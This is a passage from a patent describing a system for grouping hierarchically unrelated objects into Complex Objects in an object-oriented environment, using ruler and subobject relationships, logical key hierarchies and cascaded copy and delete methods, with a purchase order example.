object method which performs actions on the associated object, said objects being arranged in an inheritance hierarchy of objects to define parent and child objects such that child objects inherit the data attributes and methods of parent objects and to further define objects in said inheritance hierarchy which are unrelated as parent and child objects such that unrelated objects do not inherit the data attributes and methods of each other; an object manager which sends messages to said objects to perform actions on the associated object frame using the associated object messages; and means, executing on said computing platform and responsive to a user request, for grouping selected ones of said objects in said inheritance hierarchy which are unrelated to each other as parent and child objects, into a plurality of Complex Objects, each Complex Object Member including a Complex Object Member frame containing pointers to grouped objects in said inheritance hierarchy which are unrelated to each other as parent and child objects, and a plurality of Complex Object methods which perform actions on the grouped objects as a group notwithstanding that the grouped objects in said inheritance hierarchy are unrelated as parent and child objects; wherein said object manager sends action messages to said Complex Object Members to perform actions on the grouped objects using the associated Complex Object methods. 2. The system of claim 1 wherein each of said objects in said inheritance hierarchy which are unrelated as parent and child objects comprises one of a ruler object and a subobject; and wherein said Complex Object Member frame points to at least one of a ruler object which controls performance of the Complex Object, and a subobject which is controlled by the Complex Object. 3. The system of claim 2 further comprising means for identifying instances of said Complex Object Members. 4. The system of claim 3 wherein said identifying means comprises means, responsive to a user request, for generating an inheritance hierarchy of logical key attributes for each of said Complex Object Members, each logical key attribute containing attributes which identify instances of the objects which form the associated Complex Object. 5. The system of claim 4 wherein said identifying means further comprises means, responsive to said logical key attributes inheritance hierarchy generating means, for placing the logical key attribute of a respective object which forms an associated Complex Object, in the object frame of the respective object which forms an associated Complex Object. 6. The system of claim 4 wherein said logical key attributes inheritance hierarchy generating means generates the inheritance hierarchy of logical key attributes to reflect the ruler-to-subobject relationships in the associated Complex Object. 7. The system of claim 1 wherein said grouping means groups selected ones of said objects into Complex Object methods which include a method for deleting a Complex Object and a method for copying a Complex Object. 8. A method for performing actions on objects in an object oriented computing system on a computing platform, including a plurality of objects in said object oriented computing system, each object including an object frame containing data attributes and at least one object method for performing actions on the associated object, said objects being arranged in an inheritance hierarchy of objects to define parent and child objects such that child objects inherit the data attributes and methods of parent objects and to further define objects in said inheritance hierarchy which are unrelated as parent and child objects such that unrelated objects do not inherit the data attributes and methods of each other, said object oriented computing system further including an object manager for sending messages to said objects to perform actions on the associated object frame using the associated object messages; said action performing method comprising the following steps which are performed by said object oriented computing system in response to a user request: grouping selected ones of said objects in said inheritance hierarchy which are unrelated to each other as parent and child objects, into a plurality of Complex Objects, each Complex Object Member including a Complex Object Member frame containing pointers to grouped objects in said inheritance hierarchy which are unrelated to each other as parent and child objects, and a plurality of Complex Object methods which perform actions on the grouped objects as a group notwithstanding that the grouped objects in said inheritance hierarchy are unrelated as parent and child objects; and sending action messages, in response to said grouping step, to said Complex Objects to perform actions on the grouped objects using the associated Complex Object methods. 9. The method of claim 8 wherein each of said objects in said inheritance hierarchy which are unrelated as parent and child objects comprises one of a ruler object and a subobject; and wherein said Complex Object Member frame points to at least one of a ruler object which controls performance of the Complex Object, and a subobject which is controlled by the Complex Object. 10. The method of claim 9 wherein said sending step is preceded by the step of generating an inheritance hierarchy of logical key attributes for each of said Complex Objects, each logical key attribute containing a pointer to instances of the objects which form the associated Complex Object. 11. The method of claim 9 wherein said inheritance hierarchy generating step is followed by the step of placing the logical key attribute of a respective object which forms an associated Complex Object, in the object frame of the respective object which forms an associated Complex Object. 12. A method for performing actions on objects in an object oriented computing system on a computing platform, including a plurality of objects in said object oriented computing system, each object including an object frame containing data attributes and at least one object method for performing actions on the associated object, said objects being arranged in an inheritance hierarchy of objects to define parent and child objects such that child objects inherit the data attributes and methods of parent objects and to further define objects in said inheritance hierarchy which are unrelated as parent and child objects such that unrelated objects do not inherit the data attributes and methods of each other, said object oriented computing system further including an object manager for sending messages to said objects to perform actions on the associated object frame using the associated object messages; said action performing method comprising the following steps which are performed by said object oriented computing system in response to a user request: grouping selected ones of said objects in said inheritance hierarchy which are unrelated to each other as parent and child objects, into a plurality of Complex Objects, each of said objects in said inheritance hierarchy which are unrelated as parent and child objects comprises one of a ruler object and a subobject, and each Complex Object Member including a Complex Object Member frame containing at least one pointer to at least one of a ruler object which controls performance of the Complex Object Member, and a subobject which is controlled by the Complex Object Member, and a plurality of Complex Object methods for performing actions on the grouped objects as a group notwithstanding that the grouped objects in said inheritance hierarchy are unrelated as parent and child objects; placing the pointers to ruler objects and subobjects into the associated Complex Object Member frame; identifying logical keys, in response to said pointers placing step, for each Complex Object Member, said logical keys containing pointers to instances of the ruler objects and subobjects; building an inheritance hierarchy of logical keys, in response to said identifying step, for each Complex Object, according to the ruler and subobject relationships of the associated Complex Object Member; and placing the logical key of each Complex Object Member into the object frame thereof in response to said building step. 13. The method of claim 12 wherein the following steps are performed in response to an action message which is directed to an instance of one of said Complex Objects: identifying the ruler objects and subobjects of said Complex Object; materializing the identified ruler objects and subobjects; obtaining the logical key of said Complex Object; identifying instances of said Complex Object based upon the obtained logical key of said Complex Object and the inheritance hierarchy of the logical keys; and performing the action message on the identified instances of said Complex Object. Description This application is a continuation, of application Ser. No. 08/101,913, filed Aug. 4, 1993, now abandoned. FIELD OF THE INVENTION This invention relates to data processing systems and methods and more particularly to object oriented computing environments. BACKGROUND OF THE INVENTION Object oriented programming systems and processes, also referred to as "object oriented computing environments", have been the subject of much investigation and interest in state of the art data processing environments. As is well known to those having skill in the art, object oriented programming systems are composed of a large number of "objects". An object is a data structure, also referred to as a "frame", and a set of operations or functions, also referred to as "methods", that can access that data structure. The frame has many "slots", each of which contains an "attribute" of the data in the slot. The attribute may be a primitive (such as an integer or string) or an object reference which is a pointer to another object. Objects having identical data structures and common behavior can be grouped together into, and collectively identified as, a "class". Each defined class of objects will usually be manifested in a number of "instances". Each instance contains the particular data structure for a particular example of the object. In an object oriented computing environment, the data is processed by requesting an object to perform one of its methods by sending the object a "message". The receiving object responds to the message by choosing the method that implements the message name, executing this method on the named instance, and returning control to the calling high level routine along with the results of the method. The relationships between classes, objects and instances are established during "build time" or generation of the object oriented computing environment, i.e. prior to "run time" or execution of the object oriented computing environment. In addition to the relationships between classes, objects and instances identified above, inheritance relationships also exist between two or more classes such that a first class may be considered a "parent" of a second class and the second class may be considered a "child" of the first class. In other words, the first class is an ancestor of the second class and the second class is a descendant of the first class, such that the second class (i.e., the descendant) is said to inherit from the first class (i.e. the ancestor). The data structure of the child class includes all of the attributes of the parent class. As described above, object oriented programming systems are composed of a large number of objects. The amount of data and processing accommodated by an object is typically small enough to be contained within a single row of a database table or a single data entry panel. However, it will be recognized by those having skill in the art that a user view of an object may be considerably more complicated. Thus, simple objects may be tightly bound together as a Complex Object because they all participate in a business process. Alternatively, simple objects may be tightly bound as a Complex Object for purposes of data navigation and presentation or because of cross-object data verifications. In many cases, a simple object cannot be processed correctly without understanding its context. The other objects which provide this contextual information are part of the Complex Object which encompasses the simple object. For example, in an object oriented computing environment which is used to process Engineering Changes (EC), an EC header, Affected Item (AI) and Bill of Materials (BOM) may be separate objects which are not in the same inheritance hierarchy, yet are bound together for purposes of display, verification and context. It has been heretofore known to present and process Complex Objects by generating customized programming. Unfortunately, the programming which is generated to support Complex Objects can comprise a major portion of an application's customized programming. Moreover, the need to prepare customized programs for Complex Objects may cause one part of the application to deal with Complex Objects in one way and another part of the application to deal with Complex Objects another way. Finally, reuse is decreased because of the highly specific programming which is generated for handling Complex Objects. SUMMARY OF THE INVENTION It is therefore an object of the present invention to provide a system and method for supporting Complex Objects in an object oriented computing environment. It is another object of the invention to provide a system and method for generically supporting Complex Objects in an object oriented computing environment to thereby reduce the amount of customized programming which must be generated. These and other objects are accomplished, according to the present invention, by providing a Complex Object class for grouping hierarchically unrelated objects, i.e. objects which are unrelated to each other as parent and child object classes, into Complex Objects. Each Complex Object includes a Complex Object frame, containing pointers to associated hierarchically unrelated objects, and a plurality of Complex Object methods for performing actions on the hierarchically unrelated objects as a group. Accordingly, the object manager can send action messages to the Complex Objects to perform actions on the associated hierarchically unrelated objects using the associated Complex Object methods. Customized programming for defining and utilizing Complex Objects is greatly reduced thereby. In particular, the attributes of the Complex Object Member class are at least one ruler and subobject. The ruler defines the object class which controls the Complex Object Member's performance. Subobjects define one or more object classes, the performance of which are controlled by the Complex Object. Accordingly, the ruler-to-subobject relationship reflects the primary Complex Object structure. It will be understood by those having skill in the art that a subobject may itself be a ruler, allowing for a nesting of Complex Object structures. Logical key classes are also generated which are placed in a hierarchy of parent and child logical key objects. Each logical key class is associated to a simple object which is a Complex Object Member. The logical key class has the attributes which are needed to uniquely identify an instance of the Complex Object Member. Some of these attributes may be inherited from the parent logical key class. The inherited attributes (from the parent logical key) can be used to identify a unique instance of the ruler of the Complex Object Member within the complex object structure. If the Complex Object Member has subobjects, its logical key is a partial logical key for the subobjects. It can be used to select groups of related subobjects. Each Complex Object Member has a logical key attribute, which points to an instance of its logical key class. Movement from an instance of a ruler to an instance of a subobject is accomplished using the logical key relationships, by using the logical key of the ruler to find the matching subobjects. This allows for the possibility that the objects involved may have versions, in which case an additional version control selection must be provided at run time to uniquely identify a unique instance within the set of versions with the same logical key. Thus, ruler-to-subobject relationships are logical key to logical key (not instance to instance). The Complex Object method and system of the present invention allows the object oriented computing environment to manipulate Complex Objects as a whole even though the Complex Objects are not defined as part of the inheritance hierarchy of object classes. A separate relationship based on the user view or other frame of reference may be defined among unrelated objects in the inheritance hierarchy, and these objects may then be manipulated as a group. The Complex Object Member instances are identified by providing an inheritance hierarchy of logical keys. At build time, objects are grouped into Complex Objects in response to a user request. Rulers and subobjects are defined for each of the Complex Object Members. Logical keys for each of the Complex Object Members are also identified and a logical key hierarchy is built. The appropriate logical key is placed in the attribute of each object which is part of a Complex Object. At run time, when an action message is sent to a Complex Object Member instance, the rulers and subobjects are identified and the identified ruler objects and subobjects are materialized. The logical keys are obtained and used to identify instances of objects which make up the instance of the Complex Object Member. The action message is then performed on all of the identified instances. Accordingly, Complex Objects are supported generically, thereby reducing the need for custom programming. Efficient object oriented computing environments are generated and maintained thereby. BRIEF DESCRIPTION OF THE DRAWINGS FIG. 1 schematically illustrates a hardware and software environment in which the present invention operates. FIG. 2 schematically illustrates the main components of an .object oriented computing system. FIG. 3 illustrates an example of an inheritance hierarchy in an object oriented computing system. FIG. 4 is a schematic illustration of a plurality of objects, at least some of which include a logical key attribute according to the present invention. FIG. 5 is a schematic illustration of a Complex Object Member class according to the present invention. FIG. 6 schematically illustrates an inheritance hierarchy of a logical key class according to the present invention. FIG. 7 schematically illustrates operations performed at build time of an object oriented environment in order to implement Complex Object processing according to the present invention. FIG. 8 schematically illustrates operations performed at run time of an object oriented environment in order to implement Complex Object processing according to the pre t invention. FIG. 9 schematically illustrates an object oriented computing environment including a Complex Object class according to the present invention. FIG. 10 schematically illustrates a logical key object class according to the present invention. FIG. 11 schematically illustrates an application metaclass in an object hierarchy according to the present invention. FIG. 12 schematically illustrates an example of a purchase order Complex Object structure according to the present invention. FIG. 13 schematically illustrates an inheritance hierarchy of the logical key classes for the Purchase Order Complex Object structure of FIG. 12. FIG. 14 schematically illustrates a ruler list for the Purchase Order Complex Object structure of FIG. 12. FIGS. 15-20 schematically illustrate building of a ruler list according to the present invention. FIG. 21 schematically illustrates the use of ruler list with ver ion controlled objects according to the present invention. FIG. 22 schematically illustrates copying of a Complex Object according to the present invention. FIGS. 23-25 schematically illustrate an example of using the Purchase Order Complex Object. DESCRIPTION OF THE PREFERRED EMBODIMENT The present invention now will be described more fully hereinafter with reference to the accompanying drawings, in which preferred embodiments of the invention are shown. This invention may, however, be embodied in many different forms and should not be construed as limited to the embodiments set forth herein; rather, these embodiments are provided so that this disclosure will be thorough and complete, and will fully convey the scope of the invention to those skilled in the art. Like numbers refer to like elements throughout. Prior to describing a system and method for supporting Complex Objects according to the invention, a general overview of object oriented computing environments will be provided. An overview of a system and method for supporting Complex Objects will then be provided, followed by a detailed design description. Object Oriented Computing Environment In an object oriented computing environment, work is accomplished by sending action request messages to an object which contains data. The object will perform a requested action on the data according to its predefined methods. Objects may be grouped into object classes which define the types and meanings of the data, and the action requests (messages) that the object will honor. The individual objects containing data are called instances of the class. Object classes can be defined to be subclasses of other classes. Subclasses inherit all of the data characteristics and methods of the parent class. They can add additional data and methods and they can override or redefine any data elements or methods of the parent class. An object may be represented schematically, and is represented herein, by a rectangle including an upper rectangle and a lower rectangle within the object rectangle. The upper rectangle contains the data structure represented by a frame having slots, each of which contains an attribute of the data in the slot. The lower rectangle indicates the object's methods which encapsulate the frame and which are used to perform actions on the data encapsulated in the frame of the upper rectangle. Referring now to FIG. 1, a hardware and software environment in which the present invention operates will now be described. As shown in FIG. 1, the present invention is a method and system for supporting Complex Objects within an object oriented computing environment 11 operating on one or more computer platforms 12. Object oriented computing environment 11 includes an object manager, the components of which are illustrated in FIG. 2. It will be understood by those having skill in the art that computer platform 12 typically includes computer hardware units 13 such as a central processing unit (CPU) 14, a main memory 15 and an input/output (I/O) interface 16, and may include peripheral components such as a display terminal 21, an input device 22 such as a keyboard or a mouse, nonvolatile data storage devices 23 such as magnetic or optical disks, printers 24 and other peripheral devices. Computer platform 12 also typically includes microinstruction codes 26 and an operating system 28. As shown in FIG. 1, object oriented computing environment 11 operates on computer platform 12. For example, each computer platform 12 may be a computer having an IBM System 370 architecture. However, it will be understood by those having skill in the art that object oriented computing environment 11 may operate across multiple computer platforms. Operating system 28 may be an IBM multiple virtual storage (MVS). Object oriented computing environment 11 is preferably written in Intermediate C, which is an object oriented dialect of the C computer programming language and is similar to the C++ computer programming language. The design and operation of computer platforms and object oriented computing environments including that of an object manager, are well known to those having skill in the art and are described, for example in U.S. patent application Ser. No. 07/602,442, filed Oct. 23, 1990 to Abraham et al. entitled A Messenger and Object Manager to Implement an Object Oriented Environment; and U.S. Pat. Nos. 5,161,225 to Abraham et al. entitled Persistent Stream for Processing Time Consuming and Reusable Queries in an Object Oriented Database Management System; 5,151,987 to Abraham et al. entitled Recovery Objects in an Object Oriented Computing Environment; and 5,161,223 to Abraham entitled Resumeable Batch Query for Processing Time Consuming Queries in an Object Oriented Database Management System, all assigned to the assignee of the present invention, the disclosures of which are hereby incorporated herein by reference, and in numerous textbooks such as Object Oriented Software Construction by Bertrand Meyer, published by Prentice Hall in 1988, the disclosure of which is incorporated herein by reference. Referring now to FIG. 2, which is a reproduction of FIG. 5 of the aforesaid application Ser. No. 07/425,607, the main components of an object oriented program (11, FIG. 1) will be described. A detailed description of the design and operation of an object oriented program is provided in "Object Oriented Software Construction", by Bertrand Meyer, published by Prentice Hall in 1988, the disclosure of which is incorporated herein by reference. Referring to FIG. 2, object oriented program 11 includes three primary components: a Messenger 51, an Object Management Table 52 and a Loaded Classes Table 53. The Messenger 51 controls communication between calling and called messages, Object Management Table 52 and Loaded Classes Table 53. Object Management Table 52 contains a list of pointers to all active object instances. The Loaded Classes Table 53 contains a list of pointers to all methods of active object classes. Operation of the Object Oriented Program 12 will now be described for the example illustrated in FIG. 2, in which Method A (block 54) of an object sends a message to Method B (block 55) of an object. Method A sends a message to Method B by calling Messenger 51. The message contains (1) an object reference of the instance to receive the message, (2) the method the object instance is requested to perform on the data it encapsulates, and (3) any parameters needed by the receiving method. Messenger 51 obtains a pointer to the data frame 56 of the instance object specified by Method A, by searching Object Management Table 52 for the instance object. If the specified instance object cannot be found, Object Management Table 52 adds the instance object to the table and calls the instance to materialize its data from the database. Once in the instance table, Object Management Table 52 returns the pointer to the materialized instance object. Messenger 51 then obtains the address of Method B from the Loaded Classes Table 53. If the instance's class is not loaded, the Loaded Classes Table 53 will load it at this time to materialize its data. The Loaded Classes Table 53 searches for the specified method (Method B) and returns the address of the method to Messenger 51. The Messenger 51 then calls Method B, passing it a system data area and the parameters from the call made by Method A including the pointer. Method B accesses the data frame 56 using the pointer. Method B then returns control to the Messenger 51 which returns control to Method A. FIG. 3 illustrates an example of an inheritance hierarchy in an object oriented computing platform. As shown, three object classes are illustrated for "salesperson", "employee", and "person", where a salesperson is a "kind of" employee, which is a "kind of" person. In other words, salesperson is a subclass of employee and employee is the superclass of salesperson. Similarly, employee is the subclass of person and person is the superclass of employee. Each class shown includes three instances. B. Soutter, W. Tipp and B. G. Blue are salespersons. B. Abraham, K. Yates, and R. Moore are employees. J. McEnroe, R. Nader, and R. Reagan are persons. In other words, an instance is related to its class by an "is a" relation. Each subclass "inherits" the frames and methods of its superclass. Thus, for example, a salesperson frame inherits age and hire date objects from the employee's superclass as well as promote methods from the employee superclass. Salesperson also includes a unique quota attribute and a pay commission method. Each instance can access all methods and frames of its superclass, so that, for example, B. G. Blue can be promoted. Complex Object Support Method and System: Overall Design and Operation Referring now to FIG. 4, a schematic illustration of a plurality of objects in a computing platform, at least some of which include a logical key attribute, is illustrated. As shown in FIG. 4, a plurality of objects execute in object oriented computing environment 11 on computing platform 12. Each object includes an object frame containing data attributes and at least one object method for performing actions on the associated object. As with FIG. 3, each object is represented by a rectangle, with the attributes contained in an upper rectangle within the object rectangle and the methods contained in the lower rectangle within the object rectangle. As also shown, the objects are arranged in an inheritance hierarchy of object classes to define parent and child classes such that child classes inherit the data attributes and methods of parent classes. It will be understood by those having skill in the art that the inheritance hierarchy of object classes typically includes many thousands of objects in an object oriented computing environment. Still referring to FIG. 4, it will be understood that at least some of the hierarchically unrelated objects are to be grouped into a Complex Object. The Complex Object is a grouping of hierarchically unrelated objects, i.e. objects which are unrelated to each other as parent and child object classes. Rather, they are grouped together due to common display requirements or other common external requirements. As shown in FIG. 4, each object in the hierarchy of the objects which is part of a Complex Object includes as an attribute a "logical key". The logical key is the attribute which is used to uniquely identify an instance of an object. In addition, the logical key of a ruler is the partial logical key of the subobject. As will be described below, a successive expansion of logical keys is used in order to find those objects which belong to a particular ruler. Referring now to FIG. 5, a schematic illustration of a Complex Object class is illustrated. As shown, a Complex Object class includes as its attributes, a least one of a ruler object and a subobject. A ruler object is an object which must be present before the subobject can be acted on. Accordingly, each object in a Complex Object must have a ruler except for the highest level object in the Complex Object. A subobject is an object which is not related to the ruler by the characteristic of inheritance but rather is related because of the Complex Object relationship. A ruler object may have multiple subobjects which it rules. As also shown in FIG. 5, the Complex Object includes a plurality of methods such as copy and delete, which act on the Complex Object class as a whole. These methods will be described in detail below. Referring now to FIG. 6, another aspect of the present invention generates a logical key class. A logical key uniquely identifies an instance of an object. The logical keys of each object in the Complex Object's structure are related by an inheritance hierarchy shown in FIG. 6. Thus, even though the simple objects in the Complex Object are not related by inheritance, their logical keys are related by inheritance. The ruler/subobject relationship is therefore logical key to logical key, and the inheritance structure of the logical keys follows the Complex Object structure. Complex Object support is provided by inheriting from the Complex Object Member Class. This class enforces standardization of Complex Object handling, and provides support for most Complex Object actions. It is compatible with other generic application support such as version control and interfaces with externals and the data base. Simple objects within a Complex Object are bound together by logical key and data dependency relationships. The "logical key" identifies the simple object up to version selection. Complex Objects may also be version controlled. The data dependency relationships are described as ruler-to-subobject relationships. Within a Complex Object, the logical key of a subobject has all the attributes of the logical key of its ruler. For a particular instance of the subobject, the data values of the logical key match those of its ruler. The object may add attributes to the logical key of its ruler. If it does, the ruler-to-subobject relationship is one-to-many. If the subobject logical key is identical to the ruler logical key, the ruler-to-subobject relationship is one-to-one. Within the Complex Object, each subobject can only have one type of class as its ruler. However, a ruler may have several types of classes as subobjects. This enforces the hierarchy of the Complex Object structure. The same object may be both a subobject and ruler. The identification of the classes which are rulers and subobjects is provided by class attributes of the Complex Object class. These class attributes allow override, so that Complex Object structures may be altered during customization. Complex Object support is compatible with generic version control support, as described in copending application Ser. No. 08/101,618 filed concurrently herewith entitled System and Method for Controlling Versions of Objects in an Object Oriented Computing Environment , the disclosure of which is hereby incorporated herein by reference. Since the logical key only identifies an instance of an object up to version, the ruler-to-subobject may be "fuzzy" (i.e., defined only up to version selection). A list of the objects needed to provide contextual information is carried as an instance attribute of the Complex Object Member Class. During interactive processing this list can be built dynamically, since the data navigation from panel to panel typically follows the Complex Object structure. However, background processing may require this list to be built up from context keys provided as a part of a batch transaction. The present invention provides support to add the chain of rulers within the Complex Object to the list, and it provides a deferred method to add additional context information. The context may determine if the data being manipulated can be viewed or updated. Deferred methods are provided to check the context information. The calls to these methods are already provided at appropriate places within display and update methods, so that context checking is integrated into standard processing. When certain actions are performed on an object which is a ruler, they must also be performed on each of its associated subobjects. If any of the subobjects is itself a ruler, the same action must be cascaded down through the primary Complex Object structure. The present invention provides specific support for several Complex Object actions (copy, delete and promote). It also provides generic support to enable additional cascaded Complex Object actions using the same mechanisms. Data navigation through Complex Objects tends to follow the primary Complex Object structure. The presentation of Complex Objects may be related to the generic presentation support as described in copending application Ser. No. 08/101,904 entitled System and Method for Providing a Uniform External Interface for an Object Oriented Computing System filed concurrently herewith the disclosure of which is hereby incorporated herein by reference. The same logic which is used to select subobjects related to a ruler during the cascade of Complex Object actions may be used to select the list of subobjects to be presented on the list panel associated to a particular parts panel. Typically all the objects which participate in a Complex Object have common rules for determining if they can be viewed or updated. This includes establishing the security level and category. The present invention allows centralization of these decisions within the Complex Object. It also provides protection in case multiple users are processing simultaneous updates to the same Complex Object. Referring now to FIG. 7, the following operations are performed at build time of the object oriented environment in order to implement generic Complex Object processing. As shown at Block 201, the hierarchically unrelated objects which are to make up a Complex Object are grouped into Complex Objects in response to user requests. The user requests will typically be initiated because the Complex Objects are to be manipulated as a whole. Then, at Block 202, the ruler and subobject relationships are defined by the user. At Block 203, the logical keys are identified, and a logical key hierarchy is built at Block 204. Finally, at Block 205, the appropriate logical key is placed in the logical key attribute of the objects in the hierarchically unrelated objects. Thus, the structures of FIGS. 4-6 are defined. Referring now to FIG. 8, the operations performed at run time will now be described. At run time, an action message is initiated to and received by a Complex Object Member instance at Block 210. The rulers and subobjects of this instance are identified at Block 211 and the identified ruler/subobjects are materialized at Block 212. The logical keys are obtained at Block 213 and the instances of the objects which make up the instances of the Complex Object are materialized at Block 214. Finally, at Block 215 the requested action message is performed on the identified instances. Accordingly, it will be understood by those having skill in the art that the run time processing may be performed for action messages sent to Complex Objects in the same manner that run time processing is performed for action messages sent to simple objects. Complex Object Support Method and System: Detailed Design and Implementation Referring now to FIGS. 9-25, a detailed design implementation of a Complex Object support method and system of the present invention will now be described. A running example will also be described, with the running example applying to a purchase order. Referring now to FIG. 9, an object oriented computing environment including a Complex Object Member class is described. Complex Objects are composed of simple objects which are both persistent and externalizable. The class hierarchy reflects this. Here the "application object" is a simple object which is part of a Complex Object. It is a ruler and/or subobject. Each application object has a logical key attribute, which inherits from the Generic Logical Key (EKNAA200). The application object is associated with a stream which inherits from the Complex Object stream class (EKNAS2A1). See FIG. 10. To provide flexibility, application specific decisions are isolated in an application metaclass which inherits from EKNAA201. See FIG. 11. Two class attributes in the Complex Object Class EKNAA2A2 are used to glue together Complex Object structures: subobjects and ruler ID. Subobjects are the list of short class names of all the direct subobjects of this class. Ruler ID is the short name of the class which is the immediate ruler of this class within the Complex Object structure. An example of a purchase order Complex Object structure is illustrated in FIG. 12. The inheritance hierarchy of the logical key classes follows the primary Complex Object structure. See FIG. 13. The logical key classes can handle a "partial" logical key passed to them for update. This is accomplished by the assign-- key method. This method takes a passed logical key as input, and assigns it to the current logical key. The passed key may be any parent of the current logical key. Only the fields passed in will be changed. This allows, for example, the Purchase Order Number in the Purchase Order Line Key to be updated from Purchase Order 123 to Purchase Order 456, by passing in a Purchase Order Header Key with Purchase Order 456 in it. The Line Number would be unchanged. The cursors within the associated streams also reflect the Complex Object structure. Each Complex Object stream has an "applicable-- at" cursor which selects based on the logical key of the Complex Object ruler. In other words, it selects based on the attributes of the logical key which are inherited. For example, the applicable-- at cursor for Purchase Order Line would select based on Purchase Order Number (the attributes of the parent logical key ENOPA001). Each of these streams has logical key (of the current type) as an instance attribute. For example, the stream class for Purchase Order Line ENOPS002 would have an instance attribute LOG-- KEY of type ENOPA002 (the Purchase Order Line Key Class). However, the gen-- applicable-- strm method, which assigns selection criteria and opens the applicable-- at cursor would expect to receive a Purchase Order Header Key (ENOPA001) as input. Coding is optimized by making use of the assign-- key method on the logical key class, which can handle partial logical keys as input. Since Complex Object support and version control are compatible, the "find" methods for Complex Object support accept a full or partial logical key, plus a sequence number indicating version selection, as input. The find required for basic Complex Object support (without the potential for multiple versions) is find-- applicable, which finds the one instance of a simple object which matches the passed logical key. The equivalent stream method uses a partial instead of full logical key. The internal logic for the cascaded Complex Object methods includes the sequence number needed for version selection when executing these finds. However, an additional class (EKNAA2B2) is provided which has a "find-- simple" method which does not include the sequence number. Find-- applicable is redefined in EKNAA2B2 to call find-- simple, which is still a deferred method (since it involves SQL calls). This allows application objects which are not version controlled to take advantage of the Complex Object support by inheriting from EKNAA2B2 and implementing a find which only expects logical key as a parameter. EKNAA2B2 also treats the version selection fields insert-- by and exact-- by as non-persistent attributes, and initializes them to appropriate values. This means that the persistent retrieve method for Complex Objects which are not version controlled can just call this inherited initialization, and not have to deal with the attributes specific to version control. In addition, the default application metaclass (EKNAA201) implements a "no version control" option, so that no additional specification logic is required for applications which are not version controlled. Referring to FIG. 14, contextual information is contained in an attribute called the ruler list. This is an attribute of the Externalizable Object (EKNZEXTO). During online processing the ruler list is built up dynamically as the panel flow follows the Complex Object structure. In the example of the purchase order Complex Object, a list of purchase orders would be selected from a main menu panel. The selection popup restricts the purchase orders that appear in the list. Since the Purchase Order is a Complex Object, a parts panel instead of a data entry panel is displayed when a Purchase Order is opened. The ruler list associated to the parts panel is derived from the "context" data used to pick that particular version of the Complex Object. In this case, the context is the version selection object (Ver2). The parts panel now controls building up the ruler list and passing it to the other panels invoked from the parts panel. If a list panel is the next panel, the working object is added to the ruler list. This is true, for example, if Lines is selected from the parts panel. See FIG. 15. It is also possible to select Lines and the File action of New (instead of File.Open). This will result in a Line data entry panel (in New mode) being displayed. In this case, the ruler list would be the same as that assigned to the line panel. If the next panel is a data entry panel, a check is made to see if its working object is the same as the working object for the parts panel. If it is, the working object is not added to the ruler list of the data entry panel. See FIG. 16. If the working objects are not the same, the working object for the parts panel is added to the ruler list of the data entry panel. See FIG. 17. If the next panel is a parts panel, processing is similar to that used when the next panel is a data entry panel. Note that a succession of parts panels will add to the ruler list as data navigation follows the Complex Object structure. When a list entry in a list panel is opened, the ruler list for the list panel is passed to the data entry or parts panel. The selected object becomes the working object. See FIG. 18. The rules for adding the working object to the ruler list when a panel is opened from the parts panel are as already described. For example, if Line Text is opened, Line 1 will be added to the ruler list of the Line Text data entry panel. See FIG. 19. When a list entry in a list panel is opened, the ruler list for the list panel is passed to the data entry or parts panel. The selected object becomes the working object as shown in FIG. 20. The data entry panel then assigns its ruler list to the working object, which can use it for contextual information and validations during its own processing. During background (or "fastpath" online) processing, transactions may be directed immediately to a simple object (e.g. a purchase order Line) which is part of a Complex Object. In this case, the transaction must have enough context information within it (the purchase order Header Name and Version Name), to identify which purchase order Line is to be processed. The Generic Complex Object support provided by the present invention will fill in the ruler list for the rulers within the primary Complex Object by following the chain of ruler id's, and use the "find applicable" method in each case (passing the subobject's logical key). In the case of version controlled objects, the same selection sequence number derived from the transaction input would be used for all the finds. See FIG. 21. The additional context rulers (such as the version selection object for Version 2) are obtained by the "build-- ruler-- list" method of the Application Specific Metaclass. This method is a deferred method in the Generic Metaclass. The additional context rulers are typically common for an entire Complex Object, so that all participants in that Complex Object can use a common application specific metaclass. Many actions applied to an object which also has subobjects must be applied to the subobjects also. The two which have specific support in the present invention are "copy" and "delete". The present invention also provides the context to easily define additional Complex Object actions which follow the same pattern for cascade. Each cascaded Complex Object is broken into two separate methods: a class method (e.g. copy-- c), and an instance method (e.g. copy-- i). The class method is invoked by the instance method of a ruler object, or directly as a direct user action. It is passed the ruler's logical key plus version selection, and a ruler list which includes the immediate ruler plus the ruler list which was passed to that ruler during the cascade. It checks a class attribute (e.g. "copy-- me") to see if this method is valid for this object type. The class method is used to find one or more instances to work on. The passed ruler list is assigned to each relevant instance the corresponding instance method is invoked. For pure Complex Object actions such as copy and delete, find-- applicable or gen-- applicable-- strm are used to find the instances to work on. Find-- applicable is used if the ruler's logical key is the full logical key for the current object, and the stream method is used if the ruler provides only a partial logical key. The instance method performs the relevant action (e.g. copy) to the instance. Note that the ruler-- list is also copied as the "to" object is created. In the case of the copy method, the ruler list is the one for the "to" object, and it is used to allow context validations on the "to" object, even though its related context information has not yet been committed to the data base. The instance method next checks if there are any subobjects by using the class attribute. If there are, it invokes the class method for each subobject, passing an enhanced logical key (usually its own) and an expanded ruler list. Additional parameters may also be expanded. For example, in the copy method, the "new-- key" is also expanded to include the full key of the newly created "to" object. The method to expand the key during Complex Object cascades is designed to allow redefinition in special circumstances. This is in case only portions of a Complex Object are to be copied, but that refinement is not apparent at the top of the Complex Object structure. For example, Bill of Material Data may have Planning, Engineering, and Supplier views. However, the Item data is in common for all views. A copy of Planning view to create a new Item and Bill of Material must include the Item Data. However, the Plan identification is not part of the logical key for the Item Data, so it will not be available within that key when the copy cascades from Item Header to BOM Header. FIG. 22 is an example of cascaded copy using the Purchase Order Complex Object structure. The panel flow for presentation of Complex Objects follows the hierarchical structure of the Complex Object. Four types of panels are used. Menu Panels list various types of Complex Objects which may be manipulated. List Panels may list simple objects or Complex Objects. If the object in the list is complex (it has subobjects) then the next panel to be displayed is a parts panel. Parts Panels are used for Complex Objects (objects which have subobjects). The object itself, or any of its subobjects, may be selected from the panel. For example, the Purchase Order Header has Purchase Order Line and Purchase Order Text as subobjects, so the Parts Panel for Purchase Order Header allows selection of Purchase Order Header, Purchase Order Line, or Purchase Order Text. The selection may result in display of a List of the selected objects (if the logical key of the subobject extends the logical key of the ruler object for the parts panel). If the logical keys are identical, a Data Entry or Parts Panel (if the subobject itself is complex) will be displayed. Finally, Data Entry Panels allow view and update of the data related to a simple object. They are the end nodes of the panel flow. FIGS. 23-25 illustrate an example using the Purchase Order Complex Object. A list of purchase orders would be selected from a main menu panel. The selection popup restricts the purchase orders that appear in the list. Since the 